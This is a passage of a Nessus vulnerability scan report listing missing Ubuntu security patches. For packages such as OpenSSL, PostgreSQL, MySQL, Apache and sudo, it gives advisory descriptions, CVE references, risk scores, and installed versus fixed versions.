### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### References

| | |
|---|---|
| CVE | CVE-2009-0696 |
| XREF | USN:808-1 |
| XREF | CWE:16 |

### Exploitable With

Core Impact (true)

## Plugin Information

Published: 2009/07/29, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : bind9_1:9.4.2-10
  - Fixed package     : bind9_1:9.4.2.dfsg.P2-2ubuntu0.2
```

## 41624 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : newt vulnerability (USN-837-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Miroslav Lichvar discovered that Newt incorrectly handled rendering in a text box. An attacker could exploit this and cause a denial of service or possibly execute arbitrary code with the privileges of the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/837-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0008

### CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| CVE | CVE-2009-2905 |
| XREF | USN:837-1 |
| XREF | CWE:119 |

## Plugin Information

Published: 2009/09/25, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libnewt0.52_0.52.2-11.2ubuntu1
  - Fixed package     : libnewt0.52_0.52.2-11.2ubuntu1.1

  - Installed package : whiptail_0.52.2-11.2ubuntu1
  - Fixed package     : whiptail_0.52.2-11.2ubuntu1.1
```

## 39534 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : openssl vulnerabilities (USN-792-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenSSL did not limit the number of DTLS records it would buffer when they arrived with a future epoch. A remote attacker could cause a denial of service via memory resource consumption by sending a large number of crafted requests.

(CVE-2009-1377)

It was discovered that OpenSSL did not properly free memory when processing DTLS fragments. A remote attacker could cause a denial of service via memory resource consumption by sending a large number of crafted requests. (CVE-2009-1378)

It was discovered that OpenSSL did not properly handle certain server certificates when processing DTLS packets. A remote DTLS server could cause a denial of service by sending a message containing a specially crafted server certificate. (CVE-2009-1379)

It was discovered that OpenSSL did not properly handle a DTLS ChangeCipherSpec packet when it occured before ClientHello. A remote attacker could cause a denial of service by sending a specially crafted request. (CVE-2009-1386)

It was discovered that OpenSSL did not properly handle out of sequence DTLS handshake messages. A remote attacker could cause a denial of service by sending a specially crafted request. (CVE-2009-1387).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/792-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.1

### EPSS Score

0.4364

## CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

## CVSS v2.0 Temporal Score

4.1 (CVSS2#E:F/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 35001 |
| BID | 35138 |
| BID | 35174 |
| BID | 35417 |
| CVE | CVE-2009-1377 |
| CVE | CVE-2009-1378 |
| CVE | CVE-2009-1379 |
| CVE | CVE-2009-1386 |
| CVE | CVE-2009-1387 |
| XREF | USN:792-1 |
| XREF | CWE:119 |
| XREF | CWE:399 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2009/06/26, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.7
```

## 40981 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : openssl vulnerability (USN-830-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Kaminsky discovered OpenSSL would still accept certificates with MD2 hash signatures. As a result, an attacker could potentially create a malicious trusted certificate to impersonate another site. This update handles this issue by completely disabling MD2 for certificate validation.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/830-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0252

### CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2009-2409 |
| XREF | USN:830-1 |
| XREF | CWE:310 |

### Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

## Plugin Output

### tcp/0

```

  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.8

```

## 41045 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : postgresql-8.1, postgresql-8.3 vulnerabilities (USN-834-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL could be made to unload and reload an already loaded module by using the LOAD command. A remote authenticated attacker could exploit this to cause a denial of service. This issue did not affect Ubuntu 6.06 LTS. (CVE-2009-3229)

Due to an incomplete fix for CVE-2007-6600, RESET ROLE and RESET SESSION AUTHORIZATION operations were allowed inside security-definer functions. A remote authenticated attacker could exploit this to escalate privileges within PostgreSQL. (CVE-2009-3230)

It was discovered that PostgreSQL did not properly perform LDAP authentication under certain circumstances. When configured to use LDAP with anonymous binds, a remote attacker could bypass authentication by supplying an empty password. This issue did not affect Ubuntu 6.06 LTS. (CVE-2009-3231).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/834-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0496

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 36314 |
| CVE | CVE-2007-6600 |
| CVE | CVE-2009-3229 |
| CVE | CVE-2009-3230 |
| CVE | CVE-2009-3231 |
| XREF | USN:834-1 |
| XREF | CWE:264 |
| XREF | CWE:287 |

## Plugin Information

Published: 2009/09/22, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.8-0ubuntu8.04

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.8-0ubuntu8.04

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.8-0ubuntu8.04
```

## 42050 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : wget vulnerability (USN-842-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that Wget did not correctly handle SSL certificates with zero bytes in the Common Name. A remote attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/842-1/

### Solution

Update the affected wget package.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.016

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 36205 |
| CVE | CVE-2009-3490 |
| XREF | USN:842-1 |

XREF CWE:310

## Plugin Information

Published: 2009/10/07, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : wget_1.10.2-3ubuntu1
  - Fixed package     : wget_1.10.2-3ubuntu1.1
```

## 37152 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 : postgresql-8.1, postgresql-8.3 vulnerability (USN-753-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL did not properly handle encoding conversion failures. An attacker could exploit this by sending specially crafted requests to PostgreSQL, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/753-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0864

### CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 34090 |
| CVE | CVE-2009-0922 |
| XREF | USN:753-1 |

XREF CWE:399

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.7-0ubuntu8.04.1

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.7-0ubuntu8.04.1

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.7-0ubuntu8.04.1
```

## 49644 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : apache2 vulnerability (USN-990-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-860-1 introduced a partial workaround to Apache that disabled client initiated TLS renegotiation in order to mitigate CVE-2009-3555.

USN-990-1 introduced the new RFC5746 renegotiation extension in openssl, and completely resolves the issue.

After updating openssl, an Apache server will allow both patched and unpatched web browsers to connect, but unpatched browsers will not be able to renegotiate. This update introduces the new SSLInsecureRenegotiation directive for Apache that may be used to re-enable insecure renegotiations with unpatched web browsers. For more information, please refer to:

http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslinsecurerenegotia tion

Marsh Ray and Steve Dispensa discovered a flaw in the TLS and SSLv3 protocols. If an attacker could perform a man in the middle attack at the start of a TLS connection, the attacker could inject arbitrary content at the beginning of the user's session. This update adds backported support for the new RFC5746 renegotiation extension and will use it when both the client and the server support it.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/990-2/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

7.4

### EPSS Score

0.0294

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

## CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 36935 |
| CVE | CVE-2009-3555 |
| XREF | USN:990-2 |
| XREF | CWE:310 |

## Plugin Information

Published: 2010/09/22, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.18

  - Installed package : apache2-mpm-prefork_2.2.8-1ubuntu0.15
  - Fixed package     : apache2-mpm-prefork_2.2.8-1ubuntu0.18

  - Installed package : apache2-utils_2.2.8-1ubuntu0.15
  - Fixed package     : apache2-utils_2.2.8-1ubuntu0.18

  - Installed package : apache2.2-common_2.2.8-1ubuntu0.15
  - Fixed package     : apache2.2-common_2.2.8-1ubuntu0.18
```

## 49303 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : bzip2 vulnerability (USN-986-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

An integer overflow was discovered in bzip2. If a user or automated system were tricked into decompressing a crafted bz2 file, an attacker could cause bzip2 or any application linked against libbz2 to crash or possibly execute code as the user running the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/986-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.4

### EPSS Score

0.0587

### CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

3.8 (CVSS2#E:U/RL:OF/RC:C)

### STIG Severity

II

## References

| | |
|---|---|
| CVE | CVE-2010-0405 |
| XREF | USN:986-1 |
| XREF | IAVB:2010-B-0083 |

## Plugin Information

Published: 2010/09/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : bzip2_1.0.4-2ubuntu4
  - Fixed package     : bzip2_1.0.4-2ubuntu4.1

  - Installed package : libbz2-1.0_1.0.4-2ubuntu4
  - Fixed package     : libbz2-1.0_1.0.4-2ubuntu4.1

```

## 47108 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : cups, cupsys vulnerabilities (USN-952-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Adrian Pastor and Tim Starling discovered that the CUPS web interface incorrectly protected against cross-site request forgery (CSRF) attacks. If an authenticated user were tricked into visiting a malicious website while logged into CUPS, a remote attacker could modify the CUPS configuration and possibly steal confidential data.

(CVE-2010-0540)

It was discovered that CUPS did not properly handle memory allocations in the texttops filter. If a user or automated system were tricked into printing a crafted text file, a remote attacker could cause a denial of service or possibly execute arbitrary code with privileges of the CUPS user (lp). (CVE-2010-0542)

Luca Carettoni discovered that the CUPS web interface incorrectly handled form variables. A remote attacker who had access to the CUPS web interface could use this flaw to read a limited amount of memory from the cupsd process and possibly obtain confidential data.

(CVE-2010-1748).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/952-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.134

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.6 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 40889 |
| BID | 40897 |
| BID | 40943 |
| CVE | CVE-2010-0540 |
| CVE | CVE-2010-0542 |
| CVE | CVE-2010-1748 |
| XREF | USN:952-1 |

### Plugin Information

Published: 2010/06/22, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libcupsys2_1.3.7-1ubuntu3.9
  - Fixed package     : libcupsys2_1.3.7-1ubuntu3.11
```

## 49305 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : dpkg vulnerability (USN-986-3)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-986-1 fixed vulnerabilities in bzip2. dpkg statically links against libbz2 and needed to be rebuilt to use the updated libbz2.

An integer overflow was discovered in bzip2. If a user or automated system were tricked into decompressing a crafted bz2 file, an attacker could cause bzip2 or any application linked against libbz2 to crash or possibly execute code as the user running the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/986-3/

### Solution

Update the affected dpkg, dpkg-dev and / or dselect packages.

### Risk Factor

Medium

### VPR Score

3.4

### EPSS Score

0.0587

### CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

3.8 (CVSS2#E:U/RL:OF/RC:C)

### STIG Severity

II

## References

| | |
|---|---|
| CVE | CVE-2010-0405 |
| XREF | USN:986-3 |
| XREF | IAVB:2010-B-0083 |

## Plugin Information

Published: 2010/09/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : dpkg_1.14.16.6ubuntu3
  - Fixed package     : dpkg_1.14.16.6ubuntu4.2

  - Installed package : dpkg-dev_1.14.16.6ubuntu4.1
  - Fixed package     : dpkg-dev_1.14.16.6ubuntu4.2
```

## 47778 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : freetype vulnerabilities (USN-963-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Robert Swiecki discovered that FreeType did not correctly handle certain malformed font files. If a user were tricked into using a specially crafted font file, a remote attacker could execute arbitrary code with user privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/963-1/

### Solution

Update the affected freetype2-demos, libfreetype6 and / or libfreetype6-dev packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0452

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 41663 |
| BID | 60750 |
| CVE | CVE-2010-2498 |

| | |
|---|---|
| CVE | CVE-2010-2499 |
| CVE | CVE-2010-2500 |
| CVE | CVE-2010-2519 |
| CVE | CVE-2010-2520 |
| CVE | CVE-2010-2527 |
| XREF | USN:963-1 |

### Plugin Information

Published: 2010/07/21, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libfreetype6_2.3.5-1ubuntu4.8.04.2
  - Fixed package     : libfreetype6_2.3.5-1ubuntu4.8.04.3
```

## 49066 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : libwww-perl vulnerability (USN-981-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libwww-perl incorrectly filtered filenames suggested by Content-Disposition headers. If a user were tricked into downloading a file from a malicious site, a remote attacker could overwrite hidden files in the user's directory.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/981-1/

### Solution

Update the affected libwww-perl package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0095

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.9 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 65722 |
| CVE | CVE-2010-2253 |
| XREF | USN:981-1 |

## Plugin Information

Published: 2010/09/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : libwww-perl_5.808-1
  - Fixed package     : libwww-perl_5.808-1ubuntu0.1

```

## 49791 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : lvm2 vulnerability (USN-1001-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

The cluster logical volume manager daemon (clvmd) in LVM2 did not correctly validate credentials. A local user could use this flaw to manipulate logical volumes without root privileges and cause a denial of service in the cluster.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1001-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.0

### EPSS Score

0.0011

### CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 42033 |
| CVE | CVE-2010-2526 |
| XREF | USN:1001-1 |

## Plugin Information

Published: 2010/10/07, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : lvm2_2.02.26-1ubuntu9
  - Fixed package     : lvm2_2.02.26-1ubuntu9.1
```

## 46855 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities (USN-950-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that MySQL did not check privileges before uninstalling plugins. An authenticated user could uninstall arbitrary plugins, bypassing intended restrictions. This issue only affected Ubuntu 9.10 and 10.04 LTS. (CVE-2010-1621)

It was discovered that MySQL could be made to delete another user's data and index files. An authenticated user could use symlinks combined with the DROP TABLE command to possibly bypass privilege checks. (CVE-2010-1626)

It was discovered that MySQL incorrectly validated the table name argument of the COM_FIELD_LIST command. An authenticated user could use a specially- crafted table name to bypass privilege checks and possibly access other tables. (CVE-2010-1848)

Eric Day discovered that MySQL incorrectly handled certain network packets. A remote attacker could exploit this flaw and cause the server to consume all available resources, resulting in a denial of service. (CVE-2010-1849)

It was discovered that MySQL performed incorrect bounds checking on the table name argument of the COM_FIELD_LIST command. An authenticated user could use a specially crafted table name to cause a denial of service or possibly execute arbitrary code. The default compiler options for affected releases should reduce the vulnerability to a denial of service. (CVE-2010-1850).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/950-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

7.4

### EPSS Score

0.1971

## CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.1 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 39543 |
| BID | 40100 |
| BID | 40106 |
| BID | 40109 |
| BID | 40257 |
| CVE | CVE-2010-1621 |
| CVE | CVE-2010-1626 |
| CVE | CVE-2010-1848 |
| CVE | CVE-2010-1849 |
| CVE | CVE-2010-1850 |
| XREF | USN:950-1 |

## Exploitable With

CANVAS (true)

## Plugin Information

Published: 2010/06/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : libmysqlclient15off_5.0.51a-3ubuntu5
  - Fixed package     : libmysqlclient15off_5.0.51a-3ubuntu5.7

  - Installed package : mysql-client-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-client-5.0_5.0.51a-3ubuntu5.7

  - Installed package : mysql-common_5.0.51a-3ubuntu5
  - Fixed package     : mysql-common_5.0.51a-3ubuntu5.7

  - Installed package : mysql-server_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server_5.0.51a-3ubuntu5.7

  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.51a-3ubuntu5.7
```

## 48282 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : openldap, openldap2.2, openldap2.3 vulnerabilities (USN-965-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Using the Codenomicon LDAPv3 test suite, Ilkka Mattila and Tuomas Salomaki discovered that the slap_modrdn2mods function in modrdn.c in OpenLDAP does not check the return value from a call to the smr_normalize function. A remote attacker could use specially crafted modrdn requests to crash the slapd daemon or possibly execute arbitrary code. (CVE-2010-0211)

Using the Codenomicon LDAPv3 test suite, Ilkka Mattila and Tuomas Salomaki discovered that OpenLDAP does not properly handle empty RDN strings. A remote attacker could use specially crafted modrdn requests to crash the slapd daemon. (CVE-2010-0212)

In the default installation under Ubuntu 8.04 LTS and later, attackers would be isolated by the OpenLDAP AppArmor profile for the slapd daemon.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/965-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

8.1

### EPSS Score

0.6401

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

4.1 (CVSS2#E:F/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 41770 |
| CVE | CVE-2010-0211 |
| CVE | CVE-2010-0212 |
| XREF | USN:965-1 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2010/08/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : libldap-2.4-2_2.4.9-0ubuntu0.8.04.3
  - Fixed package     : libldap-2.4-2_2.4.9-0ubuntu0.8.04.4

  - Installed package : libldap2-dev_2.4.9-0ubuntu0.8.04.3
  - Fixed package     : libldap2-dev_2.4.9-0ubuntu0.8.04.4

```

## 49643 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : openssl vulnerability (USN-990-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Marsh Ray and Steve Dispensa discovered a flaw in the TLS and SSLv3 protocols. If an attacker could perform a man in the middle attack at the start of a TLS connection, the attacker could inject arbitrary content at the beginning of the user's session. This update adds backported support for the new RFC5746 renegotiation extension and will use it when both the client and the server support it.

ATTENTION: After applying this update, a patched server will allow both patched and unpatched clients to connect, but unpatched clients will not be able to renegotiate. For more information, please refer to the following:

http://www.openssl.org/docs/ssl/SSL_CTX_set_options.html#SECURE_RENEGO TIATION.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/990-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

7.4

### EPSS Score

0.0294

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 36935 |
| CVE | CVE-2009-3555 |
| XREF | USN:990-1 |
| XREF | CWE:310 |

## Plugin Information

Published: 2010/09/22, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.10
```

## 49803 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : postgresql-8.1, postgresql-8.3, postgresql-8.4 vulnerability (USN-1002-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL did not properly enforce permissions within sessions when PL/Perl and PL/Tcl functions or operators were redefined. A remote authenticated attacker could exploit this to execute arbitrary code with permissions of a different user, possibly leading to privilege escalation.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1002-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0136

### CVSS v2.0 Base Score

6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

4.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 43747 |
| CVE | CVE-2010-3433 |

XREF USN:1002-1

## Plugin Information

Published: 2010/10/08, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.12-0ubuntu8.04

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.12-0ubuntu8.04

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.12-0ubuntu8.04
```

## 47575 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : sudo vulnerability (USN-956-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Evan Broder and Anders Kaseorg discovered that sudo did not properly sanitize its environment when configured to use secure_path (the default in Ubuntu). A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use a program that interpreted the PATH environment variable.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/956-1/

### Solution

Update the affected sudo and / or sudo-ldap packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0008

### CVSS v2.0 Base Score

6.2 (CVSS2#AV:L/AC:H/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

4.6 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 40538 |
| CVE | CVE-2010-1646 |

XREF USN:956-1

## Plugin Information

Published: 2010/07/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : sudo_1.6.9p10-1ubuntu3
  - Fixed package     : sudo_1.6.9p10-1ubuntu3.8
```

## 47110 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : tiff vulnerabilities (USN-954-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Kevin Finisterre discovered that the TIFF library did not correctly handle certain image structures. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. (CVE-2010-1411)

Dan Rosenberg and Sauli Pahlman discovered multiple flaws in the TIFF library. If a user or automated system were into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. (Only Ubuntu 10.04 LTS was affected.) (CVE-2010-2065, CVE-2010-2067).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/954-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0288

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

